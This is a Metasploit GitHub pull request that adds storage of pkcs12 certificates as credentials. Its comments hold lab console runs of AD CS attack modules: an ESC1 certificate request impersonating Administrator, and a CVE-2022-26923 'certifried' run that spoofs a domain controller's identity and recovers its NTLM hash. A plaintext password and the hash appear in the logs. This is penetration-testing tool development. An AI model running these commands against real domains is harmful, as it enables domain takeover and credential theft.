Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Persist icpr cert as pkcs12 credential #17353

Merged

Conversation

adfoster-r7
Copy link
Contributor

@adfoster-r7 adfoster-r7 commented Dec 9, 2022

Add support for persisting pkcs12 credentials in Metasploit. Updates the admin/dcerpc/icpr_cert module to persist requested certificates.

Depends on rapid7/metasploit-credential#169

Example:

msf6 auxiliary(admin/dcerpc/icpr_cert) > rerun smbuser=Administrator smbpass=p4$$w0rd rhosts=192.168.123.13 ca=adf3-DC3-CA cert_template=ESC1-Test smbdomain=ADF3.LOCAL alt_upn=Administrator@adf3.local
[*] Reloading module...
[*] Running module against 192.168.123.13

[*] 192.168.123.13:445 - Requesting a certificate...
[+] 192.168.123.13:445 - The requested certificate was issued.
[*] 192.168.123.13:445 - Certificate UPN: Administrator@adf3.local
[*] 192.168.123.13:445 - Certificate stored at: /Users/adfoster/.msf4/loot/20221209012934_default_unknown_windows.ad.cs_070132.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > creds
Credentials
===========

host            origin          service        public                    private                                                              realm  private_type  JtR Format
----            ------          -------        ------                    -------                                                              -----  ------------  ----------
192.168.123.13  192.168.123.13  445/tcp (smb)  Administrator@adf3.local  subject: /CN=Administrator,issuer: /DC=local/DC=adf3/CN=adf3-DC3-CA         Pkcs12 (pfx)  

The pfx base64 blob is output with creds -v or creds -o foo.txt after #17355 is merged

Verification

@adfoster-r7 adfoster-r7 marked this pull request as draft December 9, 2022 01:40
@gwillcox-r7 gwillcox-r7 added the feature-kerberos-authentication Adds Kerberos Authentication support to framework label Jan 5, 2023
@adfoster-r7
Copy link
Contributor Author

This will most likely land into master after the kerberos branch is merged, taking off the feature label for now 👍

@adfoster-r7 adfoster-r7 added feature-kerberos-authentication Adds Kerberos Authentication support to framework and removed feature-kerberos-authentication Adds Kerberos Authentication support to framework labels Jan 20, 2023
@adfoster-r7 adfoster-r7 changed the base branch from feature-kerberos-authentication to master February 3, 2023 00:42
@adfoster-r7 adfoster-r7 force-pushed the persist-icpr-cert-as-pkcs12-credential branch from 2e0ae17 to e6e6c41 Compare February 3, 2023 00:42
Update creds command to support pkcs12
@adfoster-r7 adfoster-r7 force-pushed the persist-icpr-cert-as-pkcs12-credential branch from e6e6c41 to 875ad34 Compare April 11, 2023 15:27
@adfoster-r7 adfoster-r7 marked this pull request as ready for review April 11, 2023 15:27
@dwelch-r7
Copy link
Contributor

dwelch-r7 commented Apr 12, 2023

I'm running into an error here:

msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run
[*] Running module against 192.168.176.3

[+] [2023.04.12-11:44:19] 192.168.176.3:445 - Successfully authenticated to LDAP (192.168.176.3:636)
[+] [2023.04.12-11:44:22] 192.168.176.3:445 - Successfully created windomain.local\DESKTOP-EPLXTSOP$
[+] [2023.04.12-11:44:22] 192.168.176.3:445 -   Password: mb4WQRCUxMUP5Uz1Yuhl2YZVQa3tazYf
[+] [2023.04.12-11:44:22] 192.168.176.3:445 -   SID:      S-1-5-21-2380665626-1154582258-49301182-1149
[+] [2023.04.12-11:44:22] 192.168.176.3:445 - Successfully authenticated to LDAP (192.168.176.3:636)
[*] [2023.04.12-11:44:22] 192.168.176.3:445 - Attempting to set the DNS hostname for the computer DESKTOP-EPLXTSOP$ to the DNS hostname for the DC: dc2019
[+] [2023.04.12-11:44:22] 192.168.176.3:445 - Successfully changed the DNS hostname
[+] [2023.04.12-11:44:24] 192.168.176.3:445 - The requested certificate was issued.
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - Certificate SID: S-1-5-21-2380665626-1154582258-49301182-1149
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - Certificate stored at: /Users/dwelch/.msf4/loot/20230412114424_default_192.168.176.3_windows.ad.cs_298084.pfx
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - Attempting PKINIT login for dc2019$@windomain.local
[+] [2023.04.12-11:44:24] 192.168.176.3:445 - Successfully authenticated with certificate
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - 192.168.176.3:445 - TGT MIT Credential Cache ticket saved to /Users/dwelch/.msf4/loot/20230412114424_default_192.168.176.3_mit.kerberos.cca_288354.bin
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - Trying to retrieve NT hash for dc2019$
[+] [2023.04.12-11:44:24] 192.168.176.3:445 - 192.168.176.3:88 - Received a valid TGS-Response
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - 192.168.176.3:445 - TGS MIT Credential Cache ticket saved to /Users/dwelch/.msf4/loot/20230412114424_default_192.168.176.3_mit.kerberos.cca_236126.bin
[+] [2023.04.12-11:44:24] 192.168.176.3:445 - Found NTLM hash for dc2019$: aad3b435b51404eeaad3b435b51404ee:ab60af0d9ee0336f8cc7df44c9f7caed
[*] [2023.04.12-11:44:24] 192.168.176.3:445 - Deleting the computer account DESKTOP-EPLXTSOP$
[+] [2023.04.12-11:44:25] 192.168.176.3:445 - The specified computer has been deleted.
[-] [2023.04.12-11:44:25] 192.168.176.3:445 - Auxiliary failed: NameError uninitialized constant Metasploit::Framework::Hashes
[-] [2023.04.12-11:44:25] 192.168.176.3:445 - Call stack:
[-] [2023.04.12-11:44:25] 192.168.176.3:445 -   /Users/dwelch/dev/extras/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb:425:in `report_ntlm'
[-] [2023.04.12-11:44:25] 192.168.176.3:445 -   /Users/dwelch/dev/extras/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb:421:in `get_ntlm_hash'
[-] [2023.04.12-11:44:25] 192.168.176.3:445 -   /Users/dwelch/dev/extras/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb:124:in `run'
[*] Auxiliary module execution completed

jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)

FWIW though it did correctly add the PFX to the database

@adfoster-r7
Copy link
Contributor Author

I'm running into an error here:
...
[-] [2023.04.12-11:44:25] 192.168.176.3:445 - Auxiliary failed: NameError uninitialized constant Metasploit::Framework::Hashes

Looks like a regression from #17784 - will put up a separate PR to fix

@dwelch-r7
Copy link
Contributor

Tested all the scenarios works well for me

@dwelch-r7 dwelch-r7 merged commit 275963e into rapid7:master Apr 12, 2023
@dwelch-r7 dwelch-r7 added the rn-enhancement release notes enhancement label Apr 12, 2023
@dwelch-r7
Copy link
Contributor

dwelch-r7 commented Apr 12, 2023

Release Notes

Adds support for persisting pkcs12 credentials in Metasploit, i.e. .pfx/.p12 files. The the auxiliary/admin/dcerpc/icpr_cert and auxiliary/admin/dcerpc/cve_2022_26923_certifried modules will now persist requested certificates for future exploitation. The creds command can also directly persist certificates - for example: creds add user:alice pkcs12:/path/to/certificate.pfx

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-enhancement release notes enhancement
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

3 participants